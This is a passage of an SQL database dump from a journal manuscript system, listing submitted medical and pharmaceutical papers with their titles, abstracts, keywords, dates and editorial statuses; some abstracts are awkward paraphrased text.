parathormone',338,NULL,'2021-07-18',NULL,'Submitted',19,NULL,'2021-07-22',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(9537,10418,975,0,'ipjbs-21-9537','Bimedical Therapy of Drugs Sciences.',NULL,5,0,'','Addiction is a major public health problem that is associated with substantrial adverse consequences for families, communities, health care access and provision, and addicted individuals themselves. According to the American Society of Addiction Medicine(ASAM), addiction is defined as a primary chronic disease of brain reward, motivation, memory, and related circuitry” and “is characterized by to consistently adstain, impairment in behavioural control, craving, diminished recognition of significant problems with one’s behaviors and interpersonal relationships and a dysfunctional emotional response”.','Diagnostic, Mental Disorders, Congnitive therapy',4089,NULL,'2021-07-19',NULL,'Submitted',2,NULL,'2021-07-26',NULL,1,1,'1','Can be published',0,NULL,NULL,NULL,0,0,0,NULL,0),(9538,10419,667,0,'iptb-21-9538','REVIEW OF THE EFFECT OF CANNABIDIOL ON THE VASCULAR SYSTEM',NULL,25,0,'','There is emerging evidence to suggest that the endocannabinoid system plays an important role in regulating the cardiovascular system. The effects of cannabinoids are mediated by G-protein coupled cannabinoid receptors (CB1) and 2 (CB2). CB1 is mainly present in the vascular and central nervous system whilst CB2 receptors are found within the immune tissues that are involved in immunomodulation. This review focuses on the therapeutic potential of cannabidiol (CBD) on the cardiovascular system.','',3933,NULL,'2021-07-19',NULL,'Submitted',2,NULL,'2021-08-04',NULL,1,1,'0','Approved',0,'','',NULL,0,0,0,NULL,0),(9539,10420,85,0,'iphspr-21-9539','GAVI Health System Strengthening Project 2008- 2014 Evaluation ',NULL,14,2,'GAVI Project evaluation report 2008- 2014','Abstract\r\nGlobal Alliance for Vaccines and Immunization - Health System Strengthening (GAVI – HSS) was\r\na project implemented in Sri Lanka during 2008-2014 by the Ministry of Health to strengthen the\r\nPrimary Health Care system of the country. The theme of the project is \"Supporting the\r\nintroduction of life-saving vaccines is not enough if the vaccines cannot reach the children who\r\nneed them\". The aim of the project was to strengthen the National Health Service delivery system\r\nin ten underserved districts.\r\nThis evaluation is the final phase of the project as the project activities concluded in 2014. It is\r\ncarried out as a part of reporting the progress and evaluation of the GAVI- HSS project\r\nindependently from the final report which was compiled by the Ministry of Health of Sri Lanka.\r\nThe evaluation assessedh the extent to which GAVI –HSS achieved its objectives, appropriateness\r\nof activities to GAVI principles, appropriateness of the activates to the local context and\r\navailability of monitoring framework established in underserved districts. The evaluation drew\r\nheavily from field observations and document reviews. In addition, a qualitative facility survey,\r\nwas conducted.\r\nAchievement of objectives varied across the districts. Satisfactory achievements were noted; in\r\nBatticaloa, decline of Infant Mortality Rate from 25.1 to 11.1 and under five mortality rate from\r\n28.7 to 13.5, in Vavuniya, percentage of mothers receiving post-natal care increased from 31% to\r\n88%. In, Mullaitivu, availability of infrastructure in Maternal and Child Health clinics increased\r\nfrom 0 to 51% and in Mannar 30% to 94%.\r\nImprovements have been made in basic infrastructure facilities at Maternal and Child Health\r\nCentres and Regional Training Centres in the districts. DPT3 coverage has reached 100% and also\r\nproportion of births attended by skilled Primary Health Care staff is near 100% in all 10 districts\r\nwhile percentage of mothers receiving postnatal care of accepted quality remains at about 75%.\r\n585 Public Health Midwives (97% of planned) have been trained with GAVI funds. Although the\r\nachievements of some targets have not been reached, the facility survey and qualitative assessment\r\nrevealed success stories of this project in improving the MCH services in the 10 districts.\r\nThe project experienced notable delays in implementation or non-implementation, underutilisation\r\nof funds and delays in financial procedures such as, unavailability of human resource development\r\nplans for the 10 underserved districts and some activities of infrastructure improvement that should\r\nhave been completed by 2013 were delayed due to disbursements not released in time during that \r\n9\r\nyear. · While review of the quality and efficiency of existing management information system on\r\nMaternal and Child Health including Expanded Programme of Immunization has been initiated,\r\ndata quality audits have not been completed. Proposed computerized Management Information\r\nSystem was not yet in place by the end of the project in 2014.\r\nThe recommendations for future projects include, a systematic process of situation analysis,\r\ndevelopment of results frameworks based on the situation analysis and linked to national planning\r\nframeworks; developing and implementing M&E plans to monitor and guide adjustments to\r\nactivities and reallocation of resources.','Health Systems, GAVI, Health system strengthening, Sri Lanka, Vaccination, Immunization, Rural Healthcare',2141,NULL,'2021-07-19',NULL,'Submitted',19,NULL,'2021-09-07',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(9543,10424,45,0,'iphsj-21-9543','COVID-19 vaccines: Immune response after vaccination against SARS-CoV-2 infections',NULL,15,0,'','The coronavirus disease 19 (COVID-19) is a highly transmissible and pathogenic viral infection caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2), which emerged in Wuhan, China and spread quickly worldwide in December 2019. This review article aims to improve the readers’ awareness about the COVID-19 vaccine and benefits of vaccinations. This article reviewed existing evidence on the immune response against SARS coronaviruses in order to understand the possible outcome of a vaccine for COVID-19. Further, explored the study on age-dependent immune responses against SARS-CoV-2 after vaccination. Finally, present and future progress requirement towards the development of safe and effective COVID-19 vaccines are discussed.','COVID-19, vaccine, vaccination, immune response',4824,NULL,'2021-07-19',NULL,'Submitted',2,NULL,'2021-08-09',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9555,10431,959,0,'ipacr-21-9555','Outcomes of Advanced Malignant Melanoma in a South African Public Health Sector Cohort: The Urgent Need for Effective Therapy',NULL,14,0,'','Background: Immunotherapy and molecularly targeted therapy have revolutionised the treatment of malignant melanoma, however for South Africa’s public health sector patient population, these treatment modalities are far out of reach and chemotherapy remains the only treatment option.\r\nAim: To evaluate the outcomes of advanced melanoma and determine the need for therapies other than conventional chemotherapy in South Africa’s public health sector.\r\nSetting: The Department of Medical Oncology, Steve Biko Academic hospital (SBAH), Pretoria, South Africa.\r\nMethods: Files of patients with advanced malignant melanoma managed at SBAH, from 01 January 2009 to 31 December 2019 were retrospectively reviewed.\r\nResults: One hundred files meeting the inclusion criteria were analysed, 24 with regional (stage III) and 76 with metastatic (stage IV) disease. 23 (96%) patients with regional disease didn’t receive adjuvant therapy and had a median time to progression (mTTP) of 12 months (95%CI; 8.9-15.0). Within the metastatic melanoma cohort, 34 (79.1%) patients received chemotherapy and had a median overall survival (mOS) of 5 months (95% CI; 4.3-5.6), while patients that didn’t receive chemotherapy had a mOS of 2 months (95% CI; 0.8-3.1) (p=0.213).\r\nConclusion: These results reaffirm the impotent effects of chemotherapy in treating malignant melanoma and it is imperative that South Africa’s public health sector expands its armamentarium against this lethal disease.','Chemotherapy; Metastatic melanoma; Armamentarium; Immunotherapy',3216,NULL,'2021-07-20',NULL,'Submitted',2,NULL,'2021-08-19',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(9557,10432,91,0,'ijddr-21-9557','Drug Discovery and Development for Diseases',NULL,3,0,'','New models of medication disclosure have been created to beat the absence of present day and powerful medications for ignored illnesses, for example, human African trypanosomiasis (HAT; dozing disorder), leishmaniasis, and Chagas sickness, which have no monetary practicality for the drug business. Fully intent on consolidating the abilities and exploration limit in scholarly community, drug industry, and agreement specialists, public–private associations or item improvement organizations expect to make centered examination consortia that address all parts of medication disclosure and advancement.','Drug industry, Leishmaniasis, Trypanosomiasis',2231,NULL,'2021-07-20',NULL,'Submitted',2,NULL,'2021-08-09',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9558,10435,91,0,'ijddr-21-9558','Drug Metabolism',NULL,3,0,'','Metformin is a broadly recommended prescription for the treatment of type 2 diabetes mellitus (T2DM). It has successful jobs in different issues, including malignant growth, dyslipidemia, and stoutness. In any case, the hidden components of metformin\'s numerous advantages are not completely perceived. An aggregate of 111 metabolites engaged with different biochemical cycles were bothered, with stretched chain amino corrosive (BCAA) being the most altogether modified pathway.','Dyslipidemia, Metformin\'s, Mellitus',2231,NULL,'2021-07-20',NULL,'Submitted',2,NULL,'2021-08-09',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9560,10437,91,0,'ijddr-21-9560','Pharmaceutical Sciences ',NULL,5,2,'','Combined statement displaying (FDM) is the most widely utilized 3D-printing procedure utilized in drug applications, and offers quick and simple plan advancement of customized measurement structures. In the current examination, mesoporous materials were joined into a thermoplastic fiber delivered by means of hot-liquefy expulsion and used to create oral dose structures through FDM.','Mesoporous, Drug Applications, Thermoplastic Fiber',2231,NULL,'2021-07-20',NULL,'Submitted',19,NULL,'2021-07-22',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,4,0,NULL,0),(9580,10455,975,0,'ipjbs-21-9580','The life of Biomedicine and its roles.',NULL,3,0,'','Biomedical sciences are a bunch of sciences applying segments of regular science or formal science, or both, to foster information, intercessions, or innovation that are useful in medical care or public health. Such teaches as clinical microbiology, clinical virology, clinical the study of disease transmission, hereditary the study of disease transmission, and biomedical designing are clinical sciences. In clarifying physiological instruments working in neurotic cycles, notwithstanding, pathophysiology can be viewed as fundamental science.','microbiology, hereditary, clinical virology',4089,NULL,'2021-07-21',NULL,'Submitted',2,NULL,'2021-08-13',NULL,1,1,'1','can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(9603,10473,91,0,'ijddr-21-9603','Molecular Docking and Toxicity Studies of P-Nitrobenzene Sulphonamide Bearing Leucine –Isoleucine Dipeptide Carboxamides',NULL,14,2,'','Dipeptide carboxamide bearing nitrobenzene sulphonamides offers new prospect towards the inhibition of hemoglobin degradation in erythrocytes by Plasmodium falciparum and glycosyl phosphatidyl inositol (GPI) pathway which controls the release of variable surface glycoprotein (VSG) from Trypanosoma brucei. Structural design carried out produced series of dipeptide carboxamide bearing p-nitrobenzene sulphonamide compounds formed by coupling isoleucine (Ileu) and leucine (Leu) bearing amine (amidated amino acid) with p-nitrobenzene sulphonamide bearing Ileu and Leu.  Variation of coupling sequence between amidated amino acids and p-nitrobenzene sulphonamide bearing amino acid generated a library of 52 amidated Leu-Ileu dipeptide carboxamides bearing p-nitrobenzene sulphonamide compounds. Antimicrobial properties were evaluated using in-silico molecular docking. Protein residues E.coli (coded: 5MMN), plasmepsin (coded: 3QSI), trypanosome brucei dihydrofolate reductase pyrimethamine (coded: 3QFX) and prostaglandin synthese (coded: 1EQG) were generated from protein data base (PDB) and was used to study biological activities of the compounds on bacterial, malarial, trypanosomiasis and analgesic parasites respectively. Ofloxacin, celecoxib, chloroquine and melarsoprol structures were used for docking studies as reference drugs for antibacterial, analgesic, antimalarial and antitrypanosomiasis respectively. Selected compounds from docking studies were examined using ADMET to ascertain their toxicity profile. Results of the docking studies reveal that some of the compounds showed better binding affinity on plasmepsin and trypanosome brucei parasites compared to standard drug used as reference in the docking studies, making them a potential drug candidates for malaria and trypanosomiasis treatment. ','Dipeptide, Sulfonamide, Toxicity & Molecular Docking',4430,NULL,'2021-07-21',NULL,'Submitted',19,NULL,'2021-08-14',NULL,1,1,'0','     ',0,'','',NULL,0,4,0,NULL,0),(9611,498,45,0,'iphsj-21-9611','Assessment of Level of Professionalism among Clinical Radiographers Practicing in Anambra State, Nigeria',NULL,14,0,'','Background: Professionalism is characterized by the degree of dedication displayed by individuals regarding the values and behavioral attributes of a specific career identity. This study was designed to evaluate the level of professionalism among clinical practicing Radiographers in Anambra State, Nigeria. Materials and method: This was a descriptive survey conducted among 59 clinical radiographers selected using the convenience sampling technique. The self-administered hardcopy version of the questionnaire was given to each respondent after obtaining their consent and the completed questionnaires were retrieved immediately. The data obtained were analyzed using descriptive statistics. Results: All 100% (n = 59) of the respondents strongly agreed that selection of the right exposure factors/parameters is important in producing a quality image. On nursing approach to patients, majority 78.0% (n = 46) of the respondents always treat all patients with respect and sensitivity most times. A majority 37.3% (n = 22) of the respondents sometimes read books and articles on radiography practice. The majority 57.63% (n = 34) of the respondents said they always approached work in an organized and professional manner as taught in updated courses. Conclusion: A preponderance of Clinical Radiographers in this study, exhibited good professional approaches to work.','Clinical, Professionalism, Radiographer',643,NULL,'2021-07-22',NULL,'Submitted',2,NULL,'2021-08-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9616,10481,91,0,NULL,'Formulation and Evaluation of Fast Dissolving Tablet of Aceclofenac by Sublimation method',NULL,14,2,'Pharmaceutical recearch','This investigation is based on the treatment and diagnosis which is caused by pain and swelling. Swelling can be caused by the leakage of fluids into the tissues due to some chemicals. Aceclofenac is a derivative of the diclofenac group of non-steroidal anti-inflammatory drug (NSAID). Aceclofenac exhibits analgesic and anti-inflammatory effect. The aim of this study is to formulate, prepare and evaluate fast dissolving tablet of Aceclofenac drug using sublimation method.  Camphor is used as sublimating agent .The fast dissolving tablet is the way that improves the patient compliance by taste masking. The fast dissolving tablet raises bioavaibility of insoluble and hydrophobic drugs due to the rapid disintegration and dissolution of the drugs. According to this study, the Aceclofenac tablet was prepared using sodium starch glycolate as disintegrant, magnesium stearate and talc as lubricant,  mannitol as sweetener and diluents, crospovidone  as  superdisintegrant and microcrystalline cellulose as dispersing agent. The preformulation studies has been done for thickness, uniformity of weight, friability, wetting time, in vitro disintegration time and in vivo dissolution time. Phosphate buffer (Ph 6.8) was used as media for dissolution.  27-30 sec is the disintegration time of Aceclofenac tablet whereas 90% of drug was released within 30 min. Stability studies of the tablet  were taken at  40±2°/75%±8% RH for 1 months displayed non significant drug loss. The different parameters like in-vitro disintegration, wetting time and in-vitro diisolution were carried out during the research work. 8% of crospovidone showed the best results. This study demonstrated that the Aceclofenac tablet exhibits the higher rate of release. \r\n\r\n\r\n','Keywords: \r\nAceclofenac, Camphor, Sodium Starch Glycolate, Crospovidone, , Microcrystalline Cellulose, Fast Dissolving Tablet',4940,NULL,'2021-07-22',NULL,'Submitted',19,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(9627,8948,45,0,'iphsj-21-9627','Prevalence of Antenatal Care Services Satisfaction among Mothers Attending Antenatal Care in Goba hospital, Bale Zone, Oromia Region, Southeast Ethiopia ',NULL,14,0,'','Background:  Among the various pillars of safe motherhood, antenatal care (ANC) remains one of the interventions that have the potential to significantly reduce maternal morbidity and mortality and assessing the quality of service delivery in health facilities in terms of client satisfaction is a meaningful output indicator of quality health care.\r\nObjective: To assess ante-natal care service satisfaction and associated factors among mothers attending ante-natal care in Goba hospital, Bale zone, Oromia region, Southeast Ethiopia.\r\nMethods: A hospital based cross-sectional survey was used to collect data from all pregnant women who are attending ANC service in MCH unit of the hospital at the time of data collection. A simple random sampling technique was used to obtain the required number of pregnant women. A face to face interview using a semi structured questionnaire was used to collect the data. The data was being processed and analyzed by using SPSS version 22. \r\nDescriptive statistics was computed for the study variables and frequency distribution tables are used to describe the findings. Associations between dependent and independent variables were analyzed using chi-square test and p-value.\r\nResult: A total of 384 women who were interviewed. About 76.8% had received a health advice, 64.8% received advice about HIV/AIDS, and 15.6% received STDs, 40.9% family planning, 49.7% vaccination, 25.3% nutrition and 24.7% ANC. Of those, 52.9% were satisfied with the advice given. To have a good ANC, around forty five percent of mothers have suggested the waiting time to be short. Half of, 48.7% the participants were satisfied with the overall care and follow up they had.\r\nConclusion: In this study the prevalence of antenatal care service satisfaction among mothers was low compared with other studies conducted in Ethiopia. Therefore, the government, health professionals and other concerned bodies should focus on giving quality antenatal care service by considering the predictors.','Antenatal care service, satisfaction, mothers attending ANC, prevalence',643,NULL,'2021-07-22',NULL,'Submitted',2,NULL,'2021-08-09',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9637,9871,277,0,NULL,'Role of Pharmacists during COVID-19 Pandemic',NULL,14,1,'Artículo DE REVISIÓN sobre coVID-19','BACKGROUND: The COVID-19 outbreak in China and its subsequent spread across the globe has presented a serious public health challenge across different countries. Pharmacists have an important role as health care professionals providing necessary services during this pandemic COVID-19 pandemic. \r\nOBJECTIVE: To focus on the role of the pharmacists in fighting the COVID-19 pandemic, and explore the guidelines on provision of pharmaceutical services to patients.\r\nMETHODS: This is a systematic literature review. The search was performed on many electronic databases (MEDLINE, EMBASE, and Cochrane library) to identify relevant studies that focused on the role of pharmacists in fighting the COVID-19 pandemic, and guidelines on delivery of pharmaceutical services to patients. The search was limited to English published articles focused on the topic.\r\nRESULTS: There were twelve studies that met our eligibility criteria and included in the final analyses. Pharmacists in the community setting are playing a key role in the management of the disease to prevent the spread of the outbreak. In lower middle-income countries, the healthcare systems may not be well developed. Therefore, patients need more pharmacist support because patients cannot afford a doctor’s a visit. Pharmacists help in developing emergency drug formulations as well as coordinating with manufacturers to ensure availability. The International Pharmaceutical Federation developed international recommendations and guidance for pharmacists, including accurate information on prevention and management.\r\nCONCLUSIONS: There is a need for pharmacists to be more actively involved in case management through event-driven and evidence-based practices. These factors have increased the role of the community and hospital pharmacists. Additionally, the pharmacists are an important point of contact for patients in providing information and dissemination of prevention interventions.','coronavirus, pharmacists, guideline, guidance, recommendation',2707,NULL,'2021-07-22',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9639,10494,277,0,'ipadm-21-9639','Tuberculosis cutánea un tipo extrapulmonar poco frecuente',NULL,5,0,'','La Tuberculosis Cutánea es una presentación extrapulmonar causada por miembros del complejo M. tuberculosis poco frecuente, que debe ser considerada como diagnostico diferencial de las lesiones cutáneas puesto que esta puede cursar con una variedad de presentaciones clínicas. ','Mycobacterium tuberculosis, Tuberculosis de la piel, Tuberculosis cutánea, Escrofulodermia.',2805,NULL,'2021-07-22',NULL,'Submitted',2,NULL,'2021-10-12',NULL,1,1,'0','Manuscript is accepted and proceed it to publish as short communication.\r\n\r\nFor Carlos Antonio\r\n(Editor)',0,'','',NULL,0,0,0,NULL,0),(9640,10495,277,0,'ipadm-21-9640','Migration of an intrauterine device to the bladder: a case report',NULL,2,0,'','Abstract\r\nThe intrauterine contraceptive device (IUCD) is one of the most effective and safe contraceptive methods. The intrauterine contraceptive device can perforate the uterine wall and migrate to pelvic or abdominal organs. The clinical presentation may vary from asymptomatic patients, urinary symptoms, to acute abdominal pain with hollow viscera perforation. When migration of the intrauterine contraception device is present, removal is mandatory due to its potential complications.\r\nCase Presentation\r\nA 27 years old women gravida 3, cesarean delivery 2 and 1 abortion, with 5 months of persistent urinary symptoms, despite antibiotic empiric treatment. Gynecological examination  revealed no visualization of retrieval strings through the cervix. A transvaginal ultrasound was performed showing the intrauterine contraception device inside the bladder. A cystoscopy was later performed showing the device embedded in the lateral wall of the bladder, the attempt to extract the device was failed.The patient went to an open cystotomy and the device was extracted, no complications were reported.\r\nConclusions\r\nThe presence of persistent urinary symptoms in a patient with a missed conceptive intrauterine device should raise suspicion of intravesical migration of the device\r\n\r\n','Intrauterine contraception device, intravesical migration',4946,NULL,'2021-07-22',NULL,'Submitted',2,NULL,'2022-03-28',NULL,1,1,'0','accepted',0,'','',NULL,0,0,0,NULL,0),(9641,10495,277,0,'ipadm-21-9641','Inflammatory Myofibroblastic Tumor of the Liver: A Case Report',NULL,2,0,'','Background\r\nMyofibroblastic inflammatory tumors are a group of mesenquimatous tumors that have predilection for children and young adults. It´s diagnose represents a challenge due to the unspecific symptoms and image studies findings. The definitive diagnose is given by characteristic histopathological findings. The complete tumor resection is the accepted treatment.\r\nCase Presentation\r\nA 21 year old woman with previous history of one year of abdominal pain, localized on the epigastrium, accompanied with fever, asthenia, adynamia and weight loss. Laboratory exams showed microcytic anemia and thrombocytosis. The computerized tomography showed a cystic heterogeneous tumor on the left hepatic lobe. Patient underwent a laparotomy finding a cystic tumor on hepatic segments II and III, surgical resection was made with any complications. The histopathological study reported a myofibroblastic inflammatory tumor.\r\nConclusiones\r\nMyofibroblastic inflammatory tumors are entities difficult to diagnose. A radical resection should be considered for its treatment with patient follow up due to its potential recurrence.','Key Words\r\nInflammatory myofibroblastic tumor, liver, inflammatory',4947,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-08-06',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(9647,10500,251,0,'ipacm-21-9647','Effectiveness of retreatment with ombitasvir/ paritaprevir/ ritonavir, dasabuvir + sofosbuvir + ribavirin in patients with chronic hepatitis C, subtype 1b and cirrhosis, who failed previous with first- and second-generation NS5A inhibitors',NULL,17,0,'','Genotype 1 is the most prevalent HCV genotype worldwide, with HCV subtype 1a prevailing in both Americas, Australia and several Western European countries (England, Denmark, Portugal, and Sweden) and HCV 1b subtype — in Central and East European countries (1, 2). Among Ukrainian patients with chronic hepatitis C 55-60% are infected with HCV 1b subtype, and 16% of those have cirrhosis','Hepatitis C virus, Antiviral agents, Anti-hepatitis C virus DAA (directly acting antivirals), Mutation, Resistance',4706,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-09-17',NULL,1,1,'0','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9650,10503,85,0,'iphspr-21-9650','Portrayal of Health informatics and applications',NULL,3,0,'','Clinical informatics is the intersection point of information science, computer programming, and clinical benefits. This field deals with the resources, contraptions, and procedures expected to redesign the acquiring, amassing, recuperation, and use of information in prosperity and biomedicine','health system , policy research',3282,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-09-29',NULL,1,1,'1','    Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9651,10124,85,0,'iphspr-21-9651','Editorial note on Women Health ',NULL,5,0,'','Sound affinities are the best way to deal with avoid sickness, defer your life, and live more cheerfully. Nevertheless, in the disorder of a woman\'s step by step life, strong living may recover seat to tasks, work, involved schedules, and that is only the start. Advance toward a more drawn out, better life.','health system , global health, health service',4068,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-09-28',NULL,1,1,'1','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(9663,10511,975,0,'ipjbs-21-9663','Medicinal usage and side effects of penicillin 	',NULL,3,0,'','Penicillins are a collection of antibiotics at the beginning acquired from Penicillium moulds, mainly P. Chrysogenum and P. Rubens. Most penicillins in scientific use are chemically synthesised from naturally-produced penicillins. A variety of herbal penicillins were discovered, however simplest purified compounds are in scientific use: penicillin G (intravenous use) and penicillin V (given with the aid of using mouth). Penicillins have been a few of the first medicines to be powerful in opposition to many bacterial infections resulting from staphylococci and streptococci. They are participants of the ?-lactam antibiotics. They are nevertheless extensively used these days for extraordinary bacterial infections, aleven though many styles of micro-organism have evolved resistance following giant use. About 10% of human beings file that they may be allergic to penicillin; however, as much as 90% of this organization won\'t virtually be allergic.','Chrysogenum, penicillins, aleven',4089,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-08-17',NULL,1,1,'0','can be published',0,NULL,NULL,NULL,0,0,0,NULL,0),(9664,10512,975,0,'ipjbs-21-9664','Chemistry and side effects of heroin ',NULL,5,0,'','Heroin, additionally referred to as diacetylmorphine and diamorphine amongst different names, is an opioid used as a leisure drug for its euphoric outcomes. Medical grade diamorphine is used as a natural hydrochloride salt that is outstanding from black tar heroin, a variable admixture of morphine derivatives—predominantly 6-MAM (6-monoacetylmorphine), that is the end result of crude acetylation at some point of clandestine manufacturing of avenue heroin. Diamorphine is used medically in numerous international locations to alleviate pain, including at some point of childbirth or a coronary heart attack, in addition to in opioid substitute therapy. It is commonly injected, normally right into a vein, however it may additionally be smoked, snorted, or inhaled. In a scientific context the course of management is maximum normally intravenous injection; it can additionally accept through intramuscular or subcutaneous injection, in addition to orally withinside the shape of tablets. The onset of outcomes is normally speedy and lasts for some hours.','heroin, injection, diamorphine',4089,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-08-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9665,10513,975,0,'ipjbs-21-9665','Route of administration and policy of vaccination',NULL,5,0,'','Vaccination is the management of a vaccine to assist the immune machine increase safety from a disease. Vaccines incorporate a microorganism or virus in a weakened, stay or killed state, or proteins or pollution from the organism. In stimulating the body\'s adaptive immunity, they assist save you illness from an infectious disease. When a sufficiently big percent of a populace has been vaccinated, herd immunity effects. Herd immunity protects folks who can be immunocompromised and can\'t get a vaccine due to the fact even a weakened model might damage them. The effectiveness of vaccination has been extensively studied and verified.','immunocompromised ,antivaccinationists, monetary prosperity',4089,NULL,'2021-07-23',NULL,'Submitted',2,NULL,'2021-08-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(9713,9340,251,0,'ipacm-21-9713','Mycoplasma infections and their resistance phenotypes in a southwestern area of china',NULL,25,0,'','The aim was to determine the prevalence and antibiotics resistance of Uroaplasma urealyticum (U.urealyticum) and Mycoplasma hominis (M. hominis) isolated in a southwestern area of china. A total of 1093 patients with chronic prostatitis/chronic pelvic pain syndrome (CP/CPPS) were included and expressed prostatic secretion (EPS) were collected from the subjects. Antibiotic resistance tests were conducted by using the mycoplasma kits. Of the individuals studied, 17.29% (189/1093) and 3.66% (40/1093) samples were respectively identified to be positive for U.urealyticum and M. hominis in EPS. U.urealyticum were less than 10% (0-8.99%) resistance to doxycycline, minocycline, azithromycin and josamycin, while they were higher than 60%?60.85-73.54%?resistance to ciprofloxacin, ofloxacin and gatifloxacin, and the resistance incidence of erythromycin to U.urealyticum was 39.15%). The resistance rate of M. hominis was less than 10% (0-2.5%) to doxycycline, minocycline and josamycin, while they were higher than 60% (62.50-87.50%) to azithromycin, erythromycin, ciprofloxacin and ofloxacin, and that of gatifloxiacin was 32.50%. In conclusion, testing for both U.urealyticum and M. hominis in EPS of patients with CP/CPPS should been encouraged and doxycycline, minocycline and josamycin were recommended to treat infections of these strains in patients with CP/CPPS in a southwestern area of china.','',780,NULL,'2021-07-26',NULL,'Submitted',2,NULL,'2021-09-06',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(9743,10573,326,0,'IPJUS-21-9743','Advances in Paediatric surgery',NULL,5,0,'','Pediatric medical procedure—the careful consideration of youngsters from the baby to juvenile—is a relatively new careful forte, which started not long after the second world war. Pioneering work during the early stages of the claim to fame has empowered numerous deadly inherent contortions to be rectified. The careful treatment of youth infection has likewise advanced massively. This survey centers on late advances in pediatric medical procedure and its connection with logical exploration, which is quickly interpreting best in class care from examination to the patient. \r\nA large number of the advances in the field of pediatric medical procedure stem by implication from expanded information and capacity to adapt to the basic issues of drain, shock, electrolyte misfortunes, disease, sedation. The hypothetical ideas, which are normal to clinical just as careful pediatric issues, are fairly hard to carry out in kids, especially in new conceived babies, and certain down to earth progresses have been made as of late which are deserving of accentuation. These pragmatic contemplations relate to the organization of sedation and parenteral arrangements.','Pediatric, Surgery',2505,NULL,'2021-07-26',NULL,'Submitted',2,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9744,10573,326,0,'IPJUS-21-9744','Gastrointestinal Diseases',NULL,17,0,'','Gastrointestinal (GI) illnesses allude to the sicknesses including various pieces of GI lot and the extra organs of assimilation like liver, pancreas, and gallbladder. GI issues fundamentally influence a great many individuals and considered as a significant reason for worldwide dismalness and mortality. GI infections additionally have high immediate or circuitous efficient effect, and notwithstanding diminished personal satisfaction. \r\nIn 21st century, idea of oxidative pressure has been all around recognized corresponding to comprehend the hidden system engaged with the quantity of human sicknesses including GI infections. Conceivable natural injury brought about by responsive oxygen species (ROS) can portray by systems identified with oxidative pressure. Albeit, low or moderate degree of ROS engaged with the guideline of various physiological capacity, yet low degree of endogenous cancer prevention agent protection or raise in the age of ROS results oxidative pressure. Various elements like undesirable way of life, contamination, stress, sicknesses, drugs and so forth might be answerable for such situation. A critical shift toward the prooxidants in the prooxidant/cell reinforcement equilibrium or modification of redox potential is the key natural wonder during oxidative pressure. Layer lipid peroxidation, oxidation of protein, harm of DNA, and unsettling influence in diminishing reciprocals of the phone are the significant outcomes of oxidative pressure that coordinates to obliteration and modified flagging pathways of cell.','Gastrointestinal , Disease',2505,NULL,'2021-07-26',NULL,'Submitted',2,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9745,10573,326,0,'IPJUS-21-9745','Hypospadias',NULL,3,0,'','Hypospadias is an anatomical innate deformity of the male outside genitalia. It is portrayed by strange improvement of the urethral overlay and the ventral prepuce of the penis that causes unusual situating of the urethral opening. In hypospadias, the outside urethral meatus may introduce different levels of malpositioning and might be found with related penile arch. Contingent upon the area of the deformity, patients may have an extra genitourinary distortion. This movement surveys the assessment and treatment of hypospadias and features the job of the interprofessional group in assessing and treating this condition. \r\nThe specific etiology of hypospadias is obscure yet is accepted to incorporate hereditary, endocrine, and ecological factors. Legacy is accepted to be polygenic, and it has been seen more normal in guys with a family background of hypospadias. Hypospadias is generally found in guys with diminished androgens or with receptors that have diminished affectability to androgens. Ongoing investigations additionally recommend that in-utero openness to estrogens found in pesticides utilized in foods grown from the ground too as in plastic linings can have an antiandrogenic activity.','Hypospadias , Distortion',2505,NULL,'2021-07-26',NULL,'Submitted',2,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(9752,8562,277,0,NULL,'Strategic approach to Sars-CoV-2 pandemic care in a hospital in Colombia   ',NULL,16,2,'Strategic approach for hospitals during Sars-CoV 2 pandemic','Introduction\r\nThe emergency nature of a pandemic implies an accelerated growth of the installed capacity for patient care in hospitals. The department of Antioquia in Colombia does not have sufficient hospital infrastructure to meet the excessive demand that could be generated. The Hospital Manuel Uribe Ángel de Envigado (HMUA) makes strategic planning to achieve the medical care that will be required during the Sars-CoV pandemic. \r\n\r\nMethods\r\nSystematization of the MUA Hospital experience to prepare for Sars-cov2 pandemic is performed in 4 phases between the months of February to November 2020.   \r\n\r\nResults\r\nAt the time of the arrival of the pandemic in Colombia, we achieved an increase of 40% in the installed capacity in the emergency area, 142% in the intensive care area, and the adaptation of 68 hospital units to attend this type of patient. We maintained quality standards and managed the risk of contagion.  Mortality in intensive care in the institutions were lower than those reported at regional and world level.   \r\n\r\nConclusions\r\nA strategic response plan 